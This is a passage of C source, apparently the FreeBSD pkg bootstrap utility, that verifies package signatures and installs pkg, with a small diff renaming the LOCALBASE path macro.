non_interactive_message[] = "The package management tool is not yet installed on your system.\n" "Please set ASSUME_ALWAYS_YES=yes environment variable to be able to bootstrap " "in non-interactive (stdin not being a tty)\n"; static int pkg_query_yes_no(void) { int ret, c; fflush(stdout); c = getchar(); if (c == 'y' || c == 'Y') ret = 1; else ret = 0; while (c != '\n' && c != EOF) c = getchar(); return (ret); } static int bootstrap_pkg_local(const char *pkgpath, bool force) { char path[MAXPATHLEN]; char pkgstatic[MAXPATHLEN]; const char *signature_type; int fd_pkg, fd_sig, ret; fd_sig = -1; ret = -1; fd_pkg = open(pkgpath, O_RDONLY); if (fd_pkg == -1) err(EXIT_FAILURE, "Unable to open %s", pkgpath); if (config_string(SIGNATURE_TYPE, &signature_type) != 0) { warnx("Error looking up SIGNATURE_TYPE"); goto cleanup; } if (signature_type != NULL && strcasecmp(signature_type, "NONE") != 0) { if (strcasecmp(signature_type, "FINGERPRINTS") == 0) { snprintf(path, sizeof(path), "%s.sig", pkgpath); if ((fd_sig = open(path, O_RDONLY)) == -1) { fprintf(stderr, "Signature for pkg not " "available.\n"); goto cleanup; } if (verify_signature(fd_pkg, fd_sig) == false) goto cleanup; } else if (strcasecmp(signature_type, "PUBKEY") == 0) { snprintf(path, sizeof(path), "%s.pubkeysig", pkgpath); if ((fd_sig = open(path, O_RDONLY)) == -1) { fprintf(stderr, "Signature for pkg not " "available.\n"); goto cleanup; } if (verify_pubsignature(fd_pkg, fd_sig) == false) goto cleanup; } else { warnx("Signature type %s is not supported for " "bootstrapping.", signature_type); goto cleanup; } } if ((ret = extract_pkg_static(fd_pkg, pkgstatic, MAXPATHLEN)) == 0) ret = install_pkg_static(pkgstatic, pkgpath, force); cleanup: close(fd_pkg); if (fd_sig != -1) close(fd_sig); return (ret); } int main(int argc, char *argv[]) { char pkgpath[MAXPATHLEN]; const char *pkgarg; int i; bool bootstrap_only, force, yes; bootstrap_only = false; force = false; pkgarg = NULL; yes = false; snprintf(pkgpath, MAXPATHLEN, "%s/sbin/pkg", - getenv("LOCALBASE") ? getenv("LOCALBASE") : _LOCALBASE); + getenv("LOCALBASE") ? getenv("LOCALBASE") : _PATH_LOCALBASE); if (argc > 1 && strcmp(argv[1], "bootstrap") == 0) { bootstrap_only = true; if (argc > 3) { fprintf(stderr, "Too many arguments\nUsage: pkg bootstrap [-f]\n"); exit(EXIT_FAILURE); } if (argc == 3 && strcmp(argv[2], "-f") == 0) { force = true; } else if (argc == 3) { fprintf(stderr, "Invalid argument specified\nUsage: pkg bootstrap [-f]\n"); exit(EXIT_FAILURE); } } if ((bootstrap_only && force) || access(pkgpath, X_OK) == -1) { /* * To allow 'pkg -N' to be used as a reliable test for whether * a system is configured to use pkg, don't bootstrap pkg * when that argument is given as argv[1]. */ if (argv[1] != NULL && strcmp(argv[1], "-N") == 0) errx(EXIT_FAILURE, "pkg is not installed"); config_init(); if (argc > 1 && strcmp(argv[1], "add") == 0) { if (argc > 2 && strcmp(argv[2], "-f") == 0) { force = true; pkgarg = argv[3]; } else pkgarg = argv[2]; if (pkgarg == NULL) { fprintf(stderr, "Path to pkg.txz required\n"); exit(EXIT_FAILURE); } if (access(pkgarg, R_OK) == -1) { fprintf(stderr, "No such file: %s\n", pkgarg); exit(EXIT_FAILURE); } if (bootstrap_pkg_local(pkgarg, force) != 0) exit(EXIT_FAILURE); exit(EXIT_SUCCESS); } /* * Do not ask for confirmation if either of stdin or stdout is * not tty. Check the environment to see if user has answer * tucked in there already. */ config_bool(ASSUME_ALWAYS_YES, &yes); if (!yes) { for (i = 1; i < argc; i++) { if (strcmp(argv[i], "-y") == 0 || strcmp(argv[i], "--yes") == 0) { yes = true; break; } } } if (!yes) { if (!isatty(fileno(stdin))) { fprintf(stderr, non_interactive_message); exit(EXIT_FAILURE); } printf("%s", confirmation_message); if (pkg_query_yes_no() == 0) exit(EXIT_FAILURE); } if (bootstrap_pkg(force) != 0) exit(EXIT_FAILURE); config_finish(); if (bootstrap_only) exit(EXIT_SUCCESS); } else if (bootstrap_only) { printf("pkg already bootstrapped at %s\n", pkgpath); exit(EXIT_SUCCESS); } execv(pkgpath, argv); /* NOT REACHED */ return (EXIT_FAILURE); }